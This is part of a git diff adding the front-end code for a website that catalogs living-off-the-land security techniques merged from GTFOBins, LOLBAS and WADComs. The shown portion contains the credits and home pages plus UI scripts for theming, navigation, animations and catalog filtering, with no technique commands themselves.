+ <div class="cat__facets" data-cat-facets></div>
+ </aside>
+ <div class="cat__main">
+ <div class="cat__meta" data-cat-count>Loading the index…</div>
+ <div class="cat__results" data-cat-results></div>
+ <div class="cat__morerow"><button class="cat__more" data-cat-more type="button" hidden></button></div>
+ </div>
+ </div>
+ </div>
+
+ <script>
+ import '../scripts/catalog.ts';
+ </script>
+</Base>
diff --git a/src/pages/credits.astro b/src/pages/credits.astro
@@ -0,0 +1,102 @@
+---
+import Base from '../layouts/Base.astro';
+import SlantTitle from '../components/SlantTitle.astro';
+import facets from '../data/facets.json';
+import { SOURCE_META } from '../lib/taxonomy';
+
+const c = facets.counts;
+const commits = facets.commits as Record<string, string>;
+
+const CREDITS = [
+ {
+ id: 'GTFOBins', commit: commits.gtfobins,
+ what: 'Every full binary is expanded per function × example × context into individual technique rows; SUID / sudo / capabilities contexts also flag Privilege Escalation; `inherit` entries resolve their `from:` binary to union the inherited capabilities.',
+ count: c.bySource.GTFOBins,
+ },
+ {
+ id: 'LOLBAS', commit: commits.lolbas,
+ what: 'Each command becomes a row carrying its Category → unified capability, Full_Path, MITRE id, and the flattened Detection (Sigma / Splunk / Elastic / IOC). HonorableMentions are skipped, matching upstream validation.',
+ count: c.bySource.LOLBAS,
+ },
+ {
+ id: 'WADComs', commit: commits.wadcoms,
+ what: 'The 100 upstream entries are ingested verbatim from the Jekyll collection; attack_types map to unified capabilities while every original label is kept, and AD scope is derived from the services/items each entry declares.',
+ count: c.bySource.WADComs,
+ },
+];
+---
+<Base
+ title="Credits & Licenses — DÆMONBins"
+ description="Attribution and GPL-3.0 licensing for GTFOBins, LOLBAS and WADComs, the three projects merged into DÆMONBins, plus the DÆMON additions."
+>
+ <div class="wrap prose credits" style="max-width:60rem; padding: 2rem 0 5rem;">
+ <SlantTitle eyebrow="05 · Credits" title="Credits & Licenses" tone="gold" />
+
+ <p style="margin-top:2rem;">
+ DÆMONBins is a merge of three public, GPL-3.0 living-off-the-land references. All three are
+ licensed under the GNU GPL-3.0, so this combined dataset and site are a single GPL-3.0 work.
+ Every technique row shows its source, and per-tool pages link back to the upstream entry.
+ </p>
+
+ {CREDITS.map((cr) => {
+ const s = SOURCE_META[cr.id as keyof typeof SOURCE_META];
+ return (
+ <section class="credit">
+ <h2>{s.label}</h2>
+ <p>{s.blurb}</p>
+ <div class="slab corners provenance" style={`--acc: var(--${s.accent});`}>
+ <p class="micro provenance__label">// provenance · {s.tag}</p>
+ <ul>
+ <li><strong>Upstream:</strong> <a href={s.repo} target="_blank" rel="noopener">{s.repo.replace(/^https?:\/\//, '')}</a></li>
+ <li><strong>Created by:</strong> {s.author}</li>
+ <li><strong>License:</strong> {s.license}</li>
+ {cr.commit && <li><strong>Merged at commit:</strong> <code>{cr.commit}</code></li>}
+ <li><strong>Rows here:</strong> {cr.count}</li>
+ <li><strong>What changed:</strong> {cr.what}</li>
+ </ul>
+ </div>
+ </section>
+ );
+ })}
+
+ <section class="credit">
+ <h2>DÆMON additions</h2>
+ <p>{SOURCE_META.DAEMON.blurb}</p>
+ <div class="slab corners provenance" style="--acc: var(--love);">
+ <p class="micro provenance__label">// provenance · DMN</p>
+ <ul>
+ <li><strong>Authored by:</strong> {SOURCE_META.DAEMON.author}</li>
+ <li><strong>License:</strong> GPL-3.0 — contributed under the same license as the upstreams, keeping the collection a single GPL-3.0 work.</li>
+ <li><strong>Rows here:</strong> {c.added} (badged <span class="tag-new">NEW</span>, filterable under Source = DÆMON)</li>
+ <li><strong>Provenance rule:</strong> the 134 Windows/AD additions were transcribed and fact-checked; the modernization backlog documents only real, publicly-referenced commands, each with a canonical source. No fabricated commands.</li>
+ </ul>
+ </div>
+ </section>
+
+ <h2>This site</h2>
+ <p>
+ Built with <a href="https://astro.build" target="_blank" rel="noopener">Astro</a> and
+ <a href="https://pagefind.app" target="_blank" rel="noopener">Pagefind</a>, themed with
+ <a href="https://rosepinetheme.com" target="_blank" rel="noopener">Rosé Pine</a>, in the visual
+ language of <a href="https://daemon-sec.xyz" target="_blank" rel="noopener">daemon-sec.xyz</a>.
+ Full licensing is in <code>THIRD_PARTY_NOTICES.md</code>; the site is licensed
+ <a href="https://www.gnu.org/licenses/gpl-3.0.en.html" target="_blank" rel="noopener">GPL-3.0</a>.
+ </p>
+
+ <p class="muted" style="margin-top:2rem;border-top:1px solid var(--rule);padding-top:1rem;">
+ For authorized testing, CTFs, detection engineering and education only. Know your scope.
+ If any upstream author would prefer a change, open an issue on the site repository and it will be honoured.
+ </p>
+ </div>
+</Base>
+
+<style>
+ .credit { margin: 2.5rem 0; }
+ .provenance { padding: 1.1rem 1.3rem; }
+ .provenance__label { color: var(--fg-faint); margin: 0 0 0.6rem; }
+ .provenance ul { list-style: none; margin: 0; padding: 0; display: grid; gap: 0.4rem; }
+ .provenance li { font-size: 14px; line-height: 1.55; }
+ .provenance strong { color: var(--fg); }
+ .provenance a { color: var(--accent); }
+ .tag-new { font-family: var(--font-mono); font-size: 9.5px; background: var(--love); color: var(--base); padding: 0.05rem 0.35rem; letter-spacing: 0.08em; }
+</style>
diff --git a/src/pages/index.astro b/src/pages/index.astro
@@ -0,0 +1,127 @@
+---
+import Base from '../layouts/Base.astro';
+import SlantTitle from '../components/SlantTitle.astro';
+import Marquee from '../components/Marquee.astro';
+import Callout from '../components/Callout.astro';
+import facets from '../data/facets.json';
+import { SOURCES, SOURCE_META, SOURCE_ROUTE } from '../lib/taxonomy';
+
+const c = facets.counts;
+const base = import.meta.env.BASE_URL;
+
+const marqueeTitles = [
+ { n: 'NIX', title: 'GTFOBins', accent: 'foam' },
+ { n: 'WIN', title: 'LOLBAS', accent: 'iris' },
+ { n: 'AD', title: 'WADComs', accent: 'gold' },
+ { n: 'NEW', title: 'DÆMON', accent: 'love' },
+ { n: '01', title: 'SUID · sudo', accent: 'gold' },
+ { n: '02', title: 'AWL Bypass', accent: 'iris' },
+ { n: '03', title: 'ADCS · ESC', accent: 'gold' },
+ { n: '04', title: 'Coercion', accent: 'love' },
+];
+const marqueeMeta = [
+ { tag: 'gtfo', text: `${c.bySource.GTFOBins} techniques`, accent: 'foam' },
+ { tag: 'lolbas', text: `${c.bySource.LOLBAS} techniques`, accent: 'iris' },
+ { tag: 'wadcoms', text: `${c.bySource.WADComs} upstream`, accent: 'gold' },
+ { tag: 'daemon', text: `${c.added} authored here`, accent: 'love' },
+ { tag: 'mitre', text: 'ATT&CK mapped', accent: 'pine' },
+ { tag: 'gpl', text: 'GPL-3.0', accent: 'rose' },
+];
+---
+<Base
+ title="DÆMONBins — the Off-the-Land Almanac"
+ description="One filterable catalog merging GTFOBins, LOLBAS and WADComs — plus DÆMON's fact-checked modern additions. Living-off-the-land and offensive techniques by platform, capability and source."
+>
+ <section class="home-hero wrap">
+ <SlantTitle
+ eyebrow="00 · DÆMONBins"
+ title="Off-the-Land Almanac"
+ tone="love"
+ intro="Three of the field's living-off-the-land references — GTFOBins, LOLBAS and WADComs — merged into one filterable catalog, resynced to their latest, and extended with DÆMON's own fact-checked, referenced modern additions. Every technique is placeholder-only reference material, mapped to MITRE ATT&CK, and filterable by platform, capability and source."
+ >
+ <Fragment slot="meta">
+ <span>{c.techniques.toLocaleString()} techniques</span>
+ <span>{c.tools.toLocaleString()} tools</span>
+ <span>4 sources</span>
+ <span>GPL-3.0</span>
+ </Fragment>
+ </SlantTitle>
+
+ <div class="home-cta">
+ <a class="home-cta__go" href={`${base}catalog`}>Open the catalog →</a>
+ <span class="home-cta__hint">or press <kbd>/</kbd> to search</span>
+ </div>
+ </section>
+
+ <Marquee titles={marqueeTitles} meta={marqueeMeta} manifest={`${c.techniques} techniques`} />
+
+ <section class="home-stats wrap">
+ <div class="home-stat"><b>{c.techniques.toLocaleString()}</b><span>Techniques</span></div>
+ <div class="home-stat"><b>{c.tools.toLocaleString()}</b><span>Tools / binaries</span></div>
+ <div class="home-stat"><b>{Object.keys(c.byPlatform).length}</b><span>Platforms</span></div>
+ <div class="home-stat"><b>{c.added}</b><span>DÆMON additions</span></div>
+ </section>
+
+ <section class="home-sources wrap">
+ <p class="eyebrow" style="--acc: var(--iris);"><span class="eyebrow__mark">^:</span><span>The four decks</span></p>
+ <div class="home-sources__grid">
+ {SOURCES.map((id, i) => {
+ const s = SOURCE_META[id];
+ return (
+ <a class="home-source" href={`${base}${SOURCE_ROUTE[id]}`} style={`--acc: var(--${s.accent});`}>
+ <div class="home-source__top">
+ <span class="home-source__tag">{String(i + 1).padStart(2, '0')} · {s.tag}</span>
+ <span class="home-source__n">{c.bySource[id] ?? 0}</span>
+ </div>
+ <h3 class="home-source__name">{s.label}</h3>
+ <p class="home-source__blurb">{s.blurb}</p>
+ <span class="home-source__go">Browse {s.label} →</span>
+ </a>
+ );
+ })}
+ </div>
+ </section>
+
+ <section class="home-scope wrap">
+ <Callout tone="warning" label="Scope">
+ Everything here is placeholder-only reference material — lab IPs, <code>test.local</code>,
+ <code>john</code> / <code>password123</code> — in the same spirit as GTFOBins, LOLBAS, WADComs and
+ MITRE ATT&CK. For authorized testing, CTFs, detection engineering and education only. Know your scope.
+ </Callout>
+ <p class="home-scope__cred">
+ GTFOBins, LOLBAS and WADComs are each GPL-3.0; this merged work is GPL-3.0. See <a href={`${base}credits`}>credits & licenses</a>.
+ </p>
+ </section>
+</Base>
+
+<style>
+ .home-hero { padding: 3rem 0 1.5rem; }
+ .home-cta { margin-top: 2.25rem; display: flex; flex-wrap: wrap; align-items: center; gap: 1rem; }
+ .home-cta__go { font-family: var(--font-archivo); font-weight: 700; font-stretch: 82%; text-transform: uppercase; letter-spacing: 0.02em; font-size: 15px; padding: 0.7rem 1.4rem; background: var(--love); color: var(--base); text-decoration: none; }
+ .home-cta__go:hover { background: var(--fg); }
+ .home-cta__hint { font-family: var(--font-mono); font-size: 12px; color: var(--fg-dim); }
+ .home-cta__hint kbd { font-family: var(--font-mono); border: 1px solid var(--rule); padding: 0.05rem 0.35rem; }
+
+ .home-stats { display: grid; grid-template-columns: repeat(4, 1fr); gap: 1px; background: var(--rule); border: 1px solid var(--rule); margin: 3rem auto; }
+ @media (max-width: 640px) { .home-stats { grid-template-columns: repeat(2, 1fr); } }
+ .home-stat { background: var(--bg); padding: 1.5rem 1.2rem; text-align: left; }
+ .home-stat b { display: block; font-family: var(--font-archivo); font-weight: 800; font-size: clamp(28px, 4vw, 44px); letter-spacing: -0.03em; color: var(--fg); }
+ .home-stat span { font-family: var(--font-mono); font-size: 10.5px; letter-spacing: 0.14em; text-transform: uppercase; color: var(--fg-faint); }
+
+ .home-sources { margin: 4rem auto; }
+ .home-sources__grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 1px; background: var(--rule); border: 1px solid var(--rule); margin-top: 1rem; }
+ @media (max-width: 720px) { .home-sources__grid { grid-template-columns: 1fr; } }
+ .home-source { display: flex; flex-direction: column; gap: 0.6rem; padding: 1.5rem 1.5rem 1.4rem; background: var(--bg); text-decoration: none; color: var(--fg); position: relative; }
+ .home-source::before { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 3px; background: var(--acc); transform: scaleX(0); transform-origin: left; transition: transform 180ms var(--ease); }
+ .home-source:hover::before { transform: scaleX(1); }
+ .home-source__top { display: flex; align-items: center; justify-content: space-between; }
+ .home-source__tag { font-family: var(--font-mono); font-size: 10px; letter-spacing: 0.14em; text-transform: uppercase; color: var(--acc); }
+ .home-source__n { font-family: var(--font-mono); font-size: 12px; color: var(--fg-faint); }
+ .home-source__name { font-family: var(--font-archivo); font-weight: 800; font-stretch: 84%; text-transform: uppercase; letter-spacing: -0.02em; font-size: clamp(24px, 3.5vw, 34px); margin: 0; color: var(--fg); }
+ .home-source__blurb { margin: 0; font-size: 13.5px; line-height: 1.55; color: var(--fg-dim); }
+ .home-source__go { margin-top: auto; font-family: var(--font-mono); font-size: 11px; letter-spacing: 0.08em; text-transform: uppercase; color: var(--acc); }
+
+ .home-scope { margin: 4rem auto 5rem; }
+ .home-scope__cred { margin-top: 1rem; font-size: 13px; color: var(--fg-dim); }
+ .home-scope__cred a { color: var(--accent); }
+</style>
diff --git a/src/scripts/app.ts b/src/scripts/app.ts
@@ -0,0 +1,400 @@
+// Progressive enhancement, re-run after every (view-transition) navigation.
+
+function applyTheme(next: 'light' | 'dark'): void {
+ document.documentElement.setAttribute('data-theme', next);
+ try { localStorage.setItem('theme', next); } catch {}
+ document.documentElement.style.colorScheme = next;
+ // A canvas bitmap does not inherit the cascade, so the banners' signal
+ // field has no way to notice the mode changed. It listens for this.
+ dispatchEvent(new Event('daemonmodechange'));
+}
+
+function initTheme(): void {
+ const toggles = document.querySelectorAll<HTMLButtonElement>('[data-theme-toggle]');
+ toggles.forEach((btn) => {
+ if (btn.dataset.bound) return;
+ btn.dataset.bound = '1';
+ btn.addEventListener('click', () => {
+ const cur = document.documentElement.getAttribute('data-theme') === 'light' ? 'light' : 'dark';
+ const next: 'light' | 'dark' = cur === 'light' ? 'dark' : 'light';
+ const root = document.documentElement;
+
+ // Feature/consent gate: no View Transitions or reduced-motion -> flip instantly.
+ const startVT = (document as unknown as {
+ startViewTransition?: (cb: () => void) => { finished: Promise<void> };
+ }).startViewTransition;
+ const reduce = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
+ if (!startVT || reduce) { applyTheme(next); return; }
+
+ // Origin + radius for the circular reveal: expand from the toggle's centre
+ // out to the farthest viewport corner so the circle always covers the screen.
+ const r = btn.getBoundingClientRect();
+ const x = r.left + r.width / 2;
+ const y = r.top + r.height / 2;
+ const endR = Math.hypot(Math.max(x, innerWidth - x), Math.max(y, innerHeight - y));
+ root.style.setProperty('--vt-x', `${x}px`);
+ root.style.setProperty('--vt-y', `${y}px`);
+ root.style.setProperty('--vt-r', `${endR}px`);
+
+ root.classList.add('theme-vt');
+ const t = startVT.call(document, () => applyTheme(next));
+ t.finished.finally(() => root.classList.remove('theme-vt'));
+ });
+ });
+}
+
+function initMobileNav(): void {
+ const toggles = document.querySelectorAll<HTMLButtonElement>('[data-mobile-nav-toggle]');
+ toggles.forEach((toggle) => {
+ if (toggle.dataset.bound) return;
+ const menuId = toggle.getAttribute('aria-controls');
+ const menu = menuId ? document.getElementById(menuId) : null;
+ if (!menu) return;
+
+ const setOpen = (open: boolean): void => {
+ toggle.setAttribute('aria-expanded', String(open));
+ toggle.setAttribute('aria-label', open ? 'Close navigation' : 'Open navigation');
+ menu.hidden = !open;
+ };
+
+ toggle.dataset.bound = '1';
+ toggle.addEventListener('click', () => {
+ setOpen(toggle.getAttribute('aria-expanded') !== 'true');
+ });
+
+ menu.addEventListener('click', (event) => {
+ if ((event.target as Element).closest('a')) setOpen(false);
+ });
+
+ toggle.closest('.site-header')?.addEventListener('keydown', (event) => {
+ if (event.key !== 'Escape' || toggle.getAttribute('aria-expanded') !== 'true') return;
+ setOpen(false);
+ toggle.focus();
+ });
+ });
+}
+
+/* The retired site resolved labels left-to-right through this exact ASCII
+ pool over nine 32ms steps. Keeping the source string in data-unscramble
+ means the page is correct before JS, remains searchable, and exposes the
+ final label to assistive technology while the visual text briefly settles. */
+const UNSCRAMBLE_POOL = '/\\|<>=+*·#%';
+const UNSCRAMBLE_STEPS = 9;
+
+function scrambled(text: string, step: number): string {
+ const settled = Math.ceil((text.length * step) / UNSCRAMBLE_STEPS);
+ let value = text.slice(0, settled);
+ for (let i = settled; i < text.length; i += 1) {
+ const char = text[i];
+ value += /\s/.test(char)
+ ? char
+ : UNSCRAMBLE_POOL[(i * 7 + step * 3) % UNSCRAMBLE_POOL.length];
+ }
+ return value;
+}
+
+function initUnscramble(): void {
+ document.querySelectorAll<HTMLElement>('.sheet-title, .subcat h2, .download-library__head h2, .prose > h2').forEach((node) => {
+ if (!node.hasAttribute('data-unscramble')) node.dataset.unscramble = node.textContent ?? '';
+ });
+
+ const nodes = document.querySelectorAll<HTMLElement>('[data-unscramble]:not([data-unscramble-bound])');
+ const reduced = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
+
+ const resolve = (node: HTMLElement, finalText: string): void => {
+ let step = 0;
+ node.textContent = scrambled(finalText, step);
+ const timer = window.setInterval(() => {
+ step += 1;
+ if (step >= UNSCRAMBLE_STEPS) {
+ clearInterval(timer);
+ node.textContent = finalText;
+ return;
+ }
+ node.textContent = scrambled(finalText, step);
+ }, 32);
+ };
+
+ const observer = !reduced && 'IntersectionObserver' in window
+ ? new window.IntersectionObserver((entries, current) => {
+ entries.forEach((entry) => {
+ if (!entry.isIntersecting) return;
+ const node = entry.target as HTMLElement;
+ resolve(node, node.dataset.unscramble ?? node.textContent ?? '');
+ current.unobserve(node);
+ });
+ }, { rootMargin: '0px 0px -8% 0px', threshold: 0.25 })
+ : null;
+
+ nodes.forEach((node) => {
+ node.dataset.unscrambleBound = '1';
+ const finalText = node.dataset.unscramble ?? node.textContent ?? '';
+ node.setAttribute('aria-label', finalText);
+ if (reduced || !finalText) {
+ node.textContent = finalText;
+ return;
+ }
+
+ const rect = node.getBoundingClientRect();
+ if (!observer || rect.top < window.innerHeight * 0.92) resolve(node, finalText);
+ else observer.observe(node);
+ });
+}
+
+/**
+ * Bring the archive into view in short, staggered runs as the reader moves
+ * down a page. The hidden state is applied by script rather than baked into
+ * the stylesheet, so every word remains visible if JavaScript is unavailable.
+ */
+function initScrollReveal(): void {
+ const reduced = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
+ const nodes = document.querySelectorAll<HTMLElement>([
+ '.subcat:not([data-reveal-bound])',
+ '.download-library__head:not([data-reveal-bound])',
+ '.record:not([data-reveal-bound])',
+ '.download-row:not([data-reveal-bound])',
+ '.prose > h2:not([data-reveal-bound])',
+ '.prose > h3:not([data-reveal-bound])',
+ '.prose > p:not([data-reveal-bound])',
+ '.prose > blockquote:not([data-reveal-bound])',
+ '.prose > figure:not([data-reveal-bound])',
+ '.prose > .table-scroll:not([data-reveal-bound])',
+ ].join(','));
+
+ if (!nodes.length) return;
+
+ nodes.forEach((node, index) => {
+ node.dataset.revealBound = '1';
+ // Only nearby siblings cascade; long indexes should not accumulate delay.
+ node.style.setProperty('--reveal-delay', `${(index % 6) * 34}ms`);
+ if (reduced) node.classList.add('is-revealed');
+ else node.classList.add('scroll-reveal');
+ });
+
+ if (reduced || !('IntersectionObserver' in window)) {
+ nodes.forEach((node) => node.classList.add('is-revealed'));
+ return;
+ }
+
+ const observer = new window.IntersectionObserver((entries, current) => {
+ entries.forEach((entry) => {
+ if (!entry.isIntersecting) return;
+ (entry.target as HTMLElement).classList.add('is-revealed');
+ current.unobserve(entry.target);
+ });
+ }, { rootMargin: '0px 0px -9% 0px', threshold: 0.06 });
+
+ nodes.forEach((node) => {
+ const rect = node.getBoundingClientRect();
+ if (rect.top < window.innerHeight * 0.94) node.classList.add('is-revealed');
+ else observer.observe(node);
+ });
+}
+
+/** A two-pixel signal line makes page position readable on the longer CPTS sheets. */
+function initScrollProgress(): void {
+ let progress = document.querySelector<HTMLElement>('[data-scroll-progress]');
+ if (!progress) {
+ progress = document.createElement('div');
+ progress.className = 'scroll-progress';
+ progress.dataset.scrollProgress = '1';
+ progress.setAttribute('aria-hidden', 'true');
+ document.body.append(progress);
+ }
+ if (progress.dataset.bound) return;
+ progress.dataset.bound = '1';
+
+ let ticking = false;
+ const update = (): void => {
+ const range = Math.max(1, document.documentElement.scrollHeight - window.innerHeight);
+ progress!.style.setProperty('--scroll-progress', String(Math.min(1, Math.max(0, window.scrollY / range))));
+ ticking = false;
+ };
+ const requestUpdate = (): void => {
+ if (ticking) return;
+ ticking = true;
+ window.requestAnimationFrame(update);
+ };
+
+ window.addEventListener('scroll', requestUpdate, { passive: true });
+ window.addEventListener('resize', requestUpdate, { passive: true });
+ update();
+}
+
+/**
+ * Every code block becomes the archive's terminal block: the language at
+ * the left of a caption bar, the copy control at the right, both in the
+ * 9.5px mono the rest of the site labels things in.
+ *
+ * No window chrome and no traffic-light dots — this is a printed listing
+ * of terminal output, not a simulated window. The plate under it stays
+ * dark in both modes (see prose.css).
+ */
+const COPY_ICON =
+ '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><rect x="9" y="9" width="12" height="12"/><path d="M5 15H4a1 1 0 0 1-1-1V4a1 1 0 0 1 1-1h10a1 1 0 0 1 1 1v1"/></svg>';
+const CHECK_ICON =
+ '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M20 6 9 17l-5-5"/></svg>';
+
+function enhanceCode(): void {
+ const blocks = document.querySelectorAll<HTMLPreElement>('.prose pre.astro-code:not([data-enhanced])');
+ blocks.forEach((pre) => {
+ pre.dataset.enhanced = '1';
+ const lang = pre.getAttribute('data-language') || 'text';
+
+ const pane = document.createElement('figure');
+ /* `.plate` pins the night palette for the pane's subtree so the caption
+ tokens and corner brackets read as a terminal on the cream page too;
+ `.corners` adds the cyberdeck brackets; the pane is `position: relative`
+ in prose.css, so both anchor without further help. */
+ pane.className = 'code-pane plate corners';
+ const bar = document.createElement('figcaption');
+ bar.className = 'code-pane__bar';
+
+ const langEl = document.createElement('span');
+ langEl.className = 'code-pane__lang';
+ langEl.textContent = lang.replace(/[^a-z0-9+#-]/gi, '').slice(0, 16) || 'text';
+
+ const copy = document.createElement('button');
+ copy.className = 'code-copy';
+ copy.type = 'button';
+ const setLabel = (icon: string, word: string) => {
+ copy.innerHTML = icon;
+ copy.append(document.createTextNode(word));
+ };
+ setLabel(COPY_ICON, 'Copy');
+
+ // The feedback lives on the button for 1400ms rather than in a toast
+ // across the page — you copied this block, not the document.
+ copy.addEventListener('click', async () => {
+ const text = pre.innerText;
+ try {
+ await navigator.clipboard.writeText(text);
+ } catch {
+ const ta = document.createElement('textarea');
+ ta.value = text; document.body.appendChild(ta); ta.select();
+ try { document.execCommand('copy'); } catch {}
+ ta.remove();
+ }
+ setLabel(CHECK_ICON, 'Copied');
+ copy.classList.add('copied');
+ setTimeout(() => { setLabel(COPY_ICON, 'Copy'); copy.classList.remove('copied'); }, 1400);
+ });
+
+ bar.append(langEl, copy);
+ pre.parentNode?.insertBefore(pane, pre);
+ pane.append(bar, pre);
+
+ // The CRT film. Its own element rather than a pseudo, because `.corners`
+ // has already spent both of the pane's pseudo-elements.
+ const film = document.createElement('div');
+ film.className = 'scanlines';
+ film.setAttribute('aria-hidden', 'true');
+ pane.append(film);
+ });
+}
+
+/**
+ * Obsidian/GitHub `> [!type]` callouts. The markdown pipeline renders these
+ * as plain blockquotes whose first line is the literal `[!type]` marker (no
+ * rehype plugin is in the build, by design). Here every blockquote is framed
+ * as a terminal callout (.callout + .corners, styled in prose.css); when a
+ * marker is present its type keys the accent and a mono label replaces the
+ * marker text. Plain blockquotes are left with the frame and no label, so the
+ * page reads right with JS off too.
+ */
+const CALLOUT_ALIASES: Record<string, string> = {
+ note: 'note', abstract: 'note', summary: 'note', tldr: 'note',
+ info: 'info', todo: 'info',
+ tip: 'tip', hint: 'tip', important: 'tip',
+ success: 'success', check: 'success', done: 'success',
+ question: 'question', help: 'question', faq: 'question',
+ warning: 'warning', caution: 'warning', attention: 'warning',
+ failure: 'danger', fail: 'danger', missing: 'danger',
+ danger: 'danger', error: 'danger', bug: 'danger',
+ example: 'example', quote: 'quote', cite: 'quote',
+};
+const CALLOUT_LABEL: Record<string, string> = {
+ note: 'Note', info: 'Info', tip: 'Tip', success: 'Success',
+ question: 'FAQ', warning: 'Warning', danger: 'Danger',
+ example: 'Example', quote: 'Quote',
+};
+
+function firstTextNode(el: Element): Text | null {
+ const walker = document.createTreeWalker(el, NodeFilter.SHOW_TEXT);
+ let n = walker.nextNode();
+ while (n && !(n.textContent ?? '').trim()) n = walker.nextNode();
+ return (n as Text) ?? null;
+}
+
+function enhanceCallouts(): void {
+ document.querySelectorAll<HTMLQuoteElement>('.prose blockquote:not([data-callout-done])').forEach((bq) => {
+ bq.dataset.calloutDone = '1';
+ bq.classList.add('callout', 'corners');
+
+ const first = bq.firstElementChild;
+ if (!first) return;
+ const node = firstTextNode(first);
+ if (!node) return;
+ const m = (node.textContent ?? '').match(/^\s*\[!(\w+)\]([+-]?)\s?/);
+ if (!m) return;
+
+ const variant = CALLOUT_ALIASES[m[1].toLowerCase()] ?? 'note';
+ bq.setAttribute('data-callout', variant);
+ node.textContent = (node.textContent ?? '').slice(m[0].length);
+ // If the marker was the whole first line, drop the now-empty node so the
+ // label is not trailed by a blank paragraph.
+ if (!(first.textContent ?? '').trim() && !first.querySelector('*')) first.remove();
+
+ const label = document.createElement('div');
+ label.className = 'callout__label';
+ label.textContent = CALLOUT_LABEL[variant] ?? variant;
+ bq.insertBefore(label, bq.firstChild);
+ });
+}
+
+function wrapTables(): void {
+ document.querySelectorAll<HTMLTableElement>('.prose table:not([data-wrapped])').forEach((t) => {
+ t.dataset.wrapped = '1';
+ const scroll = document.createElement('div');
+ scroll.className = 'table-scroll';
+ t.parentNode?.insertBefore(scroll, t);
+ scroll.appendChild(t);
+ });
+}
+
+function initTOC(): void {
+ const toc = document.querySelector('.toc');
+ if (!toc) return;
+ const links = Array.from(toc.querySelectorAll<HTMLAnchorElement>('a[href^="#"]'));
+ if (!links.length) return;
+ const byId = new Map(links.map((l) => [decodeURIComponent(l.getAttribute('href')!.slice(1)), l]));
+ const heads = Array.from(document.querySelectorAll<HTMLElement>('.prose h2[id], .prose h3[id]'));
+ const obs = new IntersectionObserver(
+ (entries) => {
+ entries.forEach((e) => {
+ if (!e.isIntersecting) return;
+ const id = (e.target as HTMLElement).id;
+ links.forEach((l) => l.classList.remove('active'));
+ byId.get(id)?.classList.add('active');
+ });
+ },
+ { rootMargin: '-70px 0px -70% 0px', threshold: 0 }
+ );
+ heads.forEach((h) => obs.observe(h));
+}
+
+function init(): void {
+ initTheme();
+ initMobileNav();
+ initUnscramble();
+ enhanceCode();
+ enhanceCallouts();
+ wrapTables();
+ initScrollReveal();
+ initScrollProgress();
+ initTOC();
+}
+
+document.addEventListener('astro:page-load', init);
+if (document.readyState !== 'loading') init();
+else document.addEventListener('DOMContentLoaded', init);
diff --git a/src/scripts/catalog.ts b/src/scripts/catalog.ts
@@ -0,0 +1,211 @@
+// The catalog island — a framework-free client filter over the full technique
+// index. Imports the same pure filter/serialize logic the Astro pages use, so
+// behaviour stays consistent. Fetches the static dataset from public/data.
+
+import {
+ filtersFromSearch, filtersToSearch, filterTechniques, countActive,
+ EMPTY_FILTERS, toolRoute, type Technique, type CatalogFilters,
+} from '../lib/techniques';
+import {
+ PLATFORMS, CAPABILITIES, SOURCES, PLATFORM_META, CAPABILITY_META, SOURCE_META,
+} from '../lib/taxonomy';
+import { escapeHtml as esc, highlightCommand } from '../lib/highlight';
+
+const BASE = import.meta.env.BASE_URL;
+const url = (p: string) => `${BASE.replace(/\/$/, '')}/${p.replace(/^\//, '')}`;
+const PAGE = 40;
+
+// ---- chips -----------------------------------------------------------------
+function chip(kind: string, value: string, label: string, accent: string, active: boolean, count: number): string {
+ return `<button type="button" class="cat-chip" role="checkbox" aria-checked="${active}" data-facet="${kind}" data-value="${esc(value)}" style="--acc: var(--${accent});">
+ <span class="cat-chip__lbl">${esc(label)}</span><span class="cat-chip__n">${count}</span></button>`;
+}
+
+function facetGroup(title: string, kind: string, values: string[], meta: (v: string) => string, active: string[], counts: Record<string, number>): string {
+ const chips = values.filter((v) => counts[v]).map((v) => chip(kind, v, v, meta(v), active.includes(v), counts[v] || 0)).join('');
+ return `<section class="cat-facet"><p class="cat-facet__head eyebrow"><span class="eyebrow__mark">^:</span><span>${esc(title)}</span></p><div class="cat-facet__chips">${chips}</div></section>`;
+}
+
+// ---- badges ----------------------------------------------------------------
+const badge = (label: string, accent: string, extra = '') =>
+ `<span class="tbadge ${extra}" style="--acc: var(--${accent});">${esc(label)}</span>`;
+
+// ---- row -------------------------------------------------------------------
+function renderRow(t: Technique): string {
+ const caps = t.capability.map((c) => badge(c, CAPABILITY_META[c]?.accent || 'foam')).join('');
+ const plats = t.platform.map((p) => badge(p, PLATFORM_META[p]?.accent || 'foam', 'tbadge--soft')).join('');
+ const src = SOURCE_META[t.source];
+ const srcBadge = badge(src.label, src.accent, 'tbadge--src');
+ const newBadge = t.added ? `<span class="tbadge tbadge--new" style="--acc: var(--love);">NEW</span>` : '';
+ const label = t.name && t.name !== t.toolName ? `<span class="trow__sub">${esc(t.name)}</span>` : '';
+ const route = url(toolRoute(t.toolId));
+
+ const mitre = t.mitre?.length ? `<div class="tdetail__row"><span class="tdetail__k">MITRE</span><span class="tdetail__v">${t.mitre.map((m) => `<a href="https://attack.mitre.org/techniques/${m.replace('.', '/')}/" target="_blank" rel="noopener" class="tchip-link">${esc(m)}</a>`).join(' ')}</span></div>` : '';
+ const req = t.requires?.length ? `<div class="tdetail__row"><span class="tdetail__k">Requires</span><span class="tdetail__v">${t.requires.map((r) => esc(r)).join(', ')}</span></div>` : '';
+ const svc = t.services?.length ? `<div class="tdetail__row"><span class="tdetail__k">Services</span><span class="tdetail__v">${t.services.map((r) => esc(r)).join(', ')}</span></div>` : '';
+ const fp = t.fullPath?.length ? `<div class="tdetail__row"><span class="tdetail__k">Path</span><span class="tdetail__v tdetail__v--mono">${t.fullPath.map((r) => esc(r)).join('<br>')}</span></div>` : '';
+ const priv = t.privilege ? `<div class="tdetail__row"><span class="tdetail__k">Context</span><span class="tdetail__v">${esc(t.privilege)}</span></div>` : '';
